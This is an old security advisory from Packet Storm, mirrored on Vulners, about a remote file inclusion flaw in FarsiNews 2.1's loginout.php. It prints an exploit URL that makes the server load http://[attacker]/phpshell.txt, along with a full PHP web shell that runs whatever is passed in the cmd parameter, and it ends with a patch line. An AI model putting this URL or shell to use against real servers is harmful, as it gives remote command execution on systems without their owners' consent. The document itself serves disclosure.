Lucene search
K

farsiInclusion.txt

🗓️ 02 Feb 2006 00:00:00Reported by Hamid EbadiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 78 Views

Remote File Inclusion in FarsiNews 2.1 and below, vulnerability, exploit, workaroun

Code
`Remote File Inclusion in FarsiNews 2.1 and below  
Credit:  
The information has been provided by Hamid Ebadi  
(Hamid Network Security Team) :[email protected].  
The original article can be found at :  
http://hamid.ir/security  
  
  
Vulnerable Systems:  
FarsiNews 2.1 Beta 2 and below  
  
Vulnerable Code:   
The following lines in loginout.php :  
require_once($cutepath."/inc/functions.inc.php");  
require_once($cutepath."/data/config.php");  
  
  
Exploits:  
If register_globals=ON has been marked (check  
PHP.INI) we can exploit below URL to cause it to  
include external file.  
  
The following URL will cause the server to include  
external files ( phpshell.txt ):  
http://[target]/loginout.php?cmd=dir&cutepath=http://[attacker]/phpshell.txt?  
  
phpshell.txt  
-------------------  
<?  
system ($_GET['cmd']);  
die ("<h3>http://Hamid.ir >> Hamid Ebadi << (Hamid  
Network Security Team)</h3> ");  
?>  
-----[EOF]--------  
  
Workaround:  
use FarsiNews 2.5 or for Unofficial Patch , simply add  
the following line in the second line of  
loginout.php:  
  
if (isset($_REQUEST["cutepath"])){ die("Patched by  
Hamid Ebadi -->http://hamid.ir ( Hamid Network  
Security Team) "); }  
  
  
Signature  
  
  
  
__________________________________________________  
Do You Yahoo!?  
Tired of spam? Yahoo! Mail has the best spam protection around   
http://mail.yahoo.com   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Feb 2006 00:00Current
7.4High risk
Vulners AI Score7.4
78